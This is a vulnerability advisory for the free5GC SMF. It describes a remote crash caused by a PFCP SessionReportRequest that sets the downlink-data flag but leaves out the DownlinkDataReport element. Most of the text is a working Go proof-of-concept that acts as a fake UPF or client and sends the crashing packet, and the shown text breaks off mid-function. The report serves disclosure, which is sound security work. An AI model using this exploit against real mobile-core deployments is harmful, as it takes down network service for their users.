| Description | ## Bug Decription
The free5GC SMF can be crashed remotely by a malformed PFCP SessionReportRequest in which ReportType has the DLDR (Downlink Data Report) flag set, but the message omits the DownlinkDataReport IE.
In github.com/free5gc/smf/internal/pfcp/handler.HandlePfcpSessionReportRequest (around handler.go:135), the handler accesses fields under req.DownlinkDataReport without a nil check. When DownlinkDataReport is absent, SMF triggers a nil pointer dereference and panics, terminating the SMF process (remote DoS). The handler is dispatched in a goroutine (udp.go:71) without panic recovery, so the panic brings down the whole process.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
## To Reproduce
Steps to reproduce the behavior:
1) Start fake UPF mode:
code
```go
// Vuln-PA2-03: SMF Nil Pointer Dereference via Missing DownlinkDataReport
// Target: free5gc SMF
// Impact: Denial of Service - SMF process crash
//
// Vulnerability: When SessionReportRequest has ReportType.Dldr=true but
// DownlinkDataReport IE is missing, handler.go:135 accesses
// downlinkDataReport.DownlinkDataServiceInformation causing nil deref.
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
func main() {
mode := flag.String("mode", "client", "Mode: client or fake-upf")
targetIP := flag.String("target", "127.0.0.1", "Target SMF IP address (client mode)")
targetPort := flag.Int("port", 8805, "Target SMF PFCP port (client mode)")
seid := flag.Uint64("seid", 1, "Target session SEID (client mode; must be valid existing session)")
listenIP := flag.String("listen", "x.x.x.x", "Listen IP for fake UPF")
listenPort := flag.Int("listen-port", 8805, "Listen PFCP port for fake UPF")
nodeID := flag.String("node", "10.100.200.2", "Fake UPF NodeID")
reportDelay := flag.Duration("report-delay", 0, "Delay before sending SessionReportRequest in fake-upf mode")
smfIP := flag.String("smf", "10.100.200.6", "SMF PFCP IP (fake-upf mode)")
smfPort := flag.Int("smf-port", 8805, "SMF PFCP port (fake-upf mode)")
sendAssoc := flag.Bool("send-assoc", true, "Send AssociationSetupRequest to SMF on startup (fake-upf mode)")
flag.Parse()
switch *mode {
case "client":
runClient(*targetIP, *targetPort, *seid)
case "fake-upf":
runFakeUPF(*listenIP, *listenPort, *nodeID, *reportDelay, *smfIP, *smfPort, *sendAssoc)
default:
log.Fatalf("[-] Unknown mode: %s", *mode)
}
}
func runClient(targetIP string, targetPort int, seid uint64) {
targetAddr := fmt.Sprintf("%s:%d", targetIP, targetPort)
log.Printf("[*] Vuln-PA2-03: SMF Nil Pointer Dereference PoC")
log.Printf("[*] Target: %s", targetAddr)
log.Printf("[*] Attack: SessionReportRequest with ReportType.Dldr=true but no DownlinkDataReport")
log.Printf("[*] SEID: %d (0x%x)", seid, seid)
raddr, err := net.ResolveUDPAddr("udp", targetAddr)
if err != nil {
log.Fatalf("[-] Failed to resolve target address: %v", err)
}
conn, err := net.DialUDP("udp", nil, raddr)
if err != nil {
log.Fatalf("[-] Failed to create UDP connection: %v", err)
}
defer conn.Close()
log.Printf("[*] Vulnerability: handler.go:133-135")
log.Printf("[*] downlinkDataReport := req.DownlinkDataReport")
log.Printf("[*] if downlinkDataReport.DownlinkDataServiceInformation != nil { // nil deref!")
// Build SessionReportRequest with ReportType.Dldr=true but WITHOUT DownlinkDataReport
payload := buildSessionReportRequestDldrNoReport(seid, 1)
log.Printf("[*] Sending malicious SessionReportRequest...")
log.Printf("[*] Message length: %d bytes", len(payload))
_, err = conn.Write(payload)
if err != nil {
log.Fatalf("[-] Failed to send message: %v", err)
}
log.Printf("[+] Message sent successfully")
log.Printf("[*] Waiting for crash propagation...")
log.Printf("[*] NOTE: Requires session with UpCnxState=DEACTIVATED")
time.Sleep(2 * time.Second)
probeSmf(conn)
}
func runFakeUPF(listenIP string, listenPort int, nodeID string, reportDelay time.Duration, smfIP string, smfPort int, sendAssoc bool) {
listenAddr := fmt.Sprintf("%s:%d", listenIP, listenPort)
laddr, err := net.ResolveUDPAddr("udp", listenAddr)
if err != nil {
log.Fatalf("[-] Failed to resolve listen address: %v", err)
}
conn, err := net.ListenUDP("udp", laddr)
if err != nil {
log.Fatalf("[-] Failed to listen on %s: %v", listenAddr, err)
}
defer conn.Close()
log.Printf("[*] Fake UPF mode: listening on %s", listenAddr)
log.Printf("[*] Fake UPF NodeID: %s", nodeID)
log.Printf("[*] SMF target: %s:%d", smfIP, smfPort)
log.Printf("[*] Waiting for AssociationSetupResponse, SessionEstablishmentRequest, and SessionModificationRequest...")
var smfAddr *net.UDPAddr
if sendAssoc {
target := fmt.Sprintf("%s:%d", smfIP, smfPort)
var err error
smfAddr, err = net.ResolveUDPAddr("udp", target)
if err != nil {
log.Fatalf("[-] Failed to resolve SMF address: %v", err)
}
if err := sendAssociationSetupRequest(conn, smfAddr, nodeID, 1); err != nil {
log.Printf("[-] Failed to send AssociationSetupRequest: %v", err)
} else {
log.Printf("[+] AssociationSetupRequest sent to %s", target)
}
}
buf := make([]byte, 4096)
reportSeq := uint32(100)
assocDone := false
reportPending := false
reportSent := false
var cpSeid uint64
var smfPeer *net.UDPAddr
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[-] Read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[-] Failed to parse PFCP message from %s: %v", raddr, err)
continue
}
switch m := msg.(type) {
case *message.AssociationSetupResponse:
log.Printf("[+] AssociationSetupResponse from %s (cause=%v)", raddr, m.Cause)
assocDone = true
case *message.AssociationSetupRequest:
reqNodeID := nodeIDFromIE(m.NodeID)
log.Printf("[*] AssociationSetupRequest from %s (NodeID: %s)", raddr, reqNodeID)
if err := sendAssociationSetupResponse(conn, raddr, nodeID, m.Sequence()); err != nil {
log.Printf("[-] Failed to send AssociationSetupResponse: %v", err)
} else {
log.Printf("[+] AssociationSetupResponse sent")
}
assocDone = true
case *message.SessionEstablishmentRequest:
reqNodeID := nodeIDFromIE(m.NodeID)
cpSeidFromReq, fseidInfo, ok := cpfSeidFromSessionEstablishment(m)
if !ok {
log.Printf("[-] SessionEstablishmentRequest missing CPFSEID (NodeID: %s)", reqNodeID)
continue
}
log.Printf("[*] SessionEstablishmentRequest from %s (NodeID: %s)", raddr, reqNodeID)
log.Printf("[*] CPFSEID: %d (0x%x) IPv4=%s IPv6=%s", cpSeidFromReq, cpSeidFromReq, ipString(fseidInfo.IPv4Address), ipString(fseidInfo.IPv6Address))
if !assocDone {
log.Printf("[!] SessionEstablishmentRequest received before AssociationSetupResponse")
}
if err := sendSessionEstablishmentResponse(conn, raddr, nodeID, listenIP, cpSeidFromReq, m.Sequence()); err != nil {
log.Printf("[-] Failed to send SessionEstablishmentResponse: %v", err)
} else {
log.Printf("[+] SessionEstablishmentResponse sent")
}
cpSeid = cpSeidFromReq
smfPeer = raddr
reportPending = true
log.Printf("[*] Report armed: waiting for SessionModificationRequest before sending SessionReportRequest")
case *message.SessionModificationRequest:
reqSeid := m.SEID()
log.Printf("[*] SessionModificationRequest from %s (SEID: %d)", raddr, reqSeid)
if err := sendSessionModificationResponse(conn, raddr, reqSeid, m.Sequence()); err != nil {
log.Printf("[-] Failed to send SessionModificationResponse: %v", err)
} else {
log.Printf("[+] SessionModificationResponse sent")
}
if reportPending && !reportSent && hasBufferedUpdateFAR(m) {
if reportDelay > 0 {
log.Printf("[*] Waiting %s before sending SessionReportRequest...", reportDelay)
time.Sleep(reportDelay)
}
reportSeq++
reportSeid := cpSeid
if reportSeid == 0 {
reportSeid = reqSeid
log.Printf("[!] CPFSEID not recorded; falling back to SEID from SessionModificationRequest=%d", reportSeid)
}
peer := raddr
if smfPeer != nil {
peer = smfPeer
}
payload := buildSessionReportRequestDldrNoReport(reportSeid, reportSeq)
log.Printf("[*] Sending SessionReportRequest (no DownlinkDataReport) to %s", peer)
if _, err := conn.WriteToUDP(payload, peer); err != nil {
log.Printf("[-] Failed to send SessionReportRequest: %v", err)
} else {
log.Printf("[+] SessionReportRequest sent")
reportSent = true
}
} else if reportPending && !reportSent {
log.Printf("[*] SessionModificationRequest has no UpdateFAR BUFF action; skipping report")
}
case *message.HeartbeatRequest:
if err := sendHeartbeatResponse(conn, raddr, m.Sequence()); err != nil {
log.Printf("[-] Failed to send HeartbeatResponse: %v", err)
}
default:
log.Printf("[*] Ignoring %s from %s", msg.MessageTypeName(), raddr)
}
}
}
func sendAssociationSetupRequest(conn *net.UDPConn, raddr *net.UDPAddr, nodeID string, seq uint32) error {
req := message.NewAssociationSetupRequest(
seq,
ie.NewNodeIDHeuristic(nodeID),
ie.NewRecoveryTimeStamp(time.Now()),
)
payload, err := req.Marshal()
if err != nil {
return err
}
_, err = conn.WriteToUDP(payload, raddr)
return err
}
func sendAssociationSetupResponse(conn *net.UDPConn, raddr *net.UDPAddr, nodeID string, seq uint32) error {
rsp := message.NewAssociationSetupResponse(
seq,
ie.NewNodeIDHeuristic(nodeID),
ie.NewCause(ie.CauseRequestAccepted),
ie.NewRecoveryTimeStamp(time.Now()),
)
payload, err := rsp.Marshal()
if err != nil {
return err
}
_, er |
|---|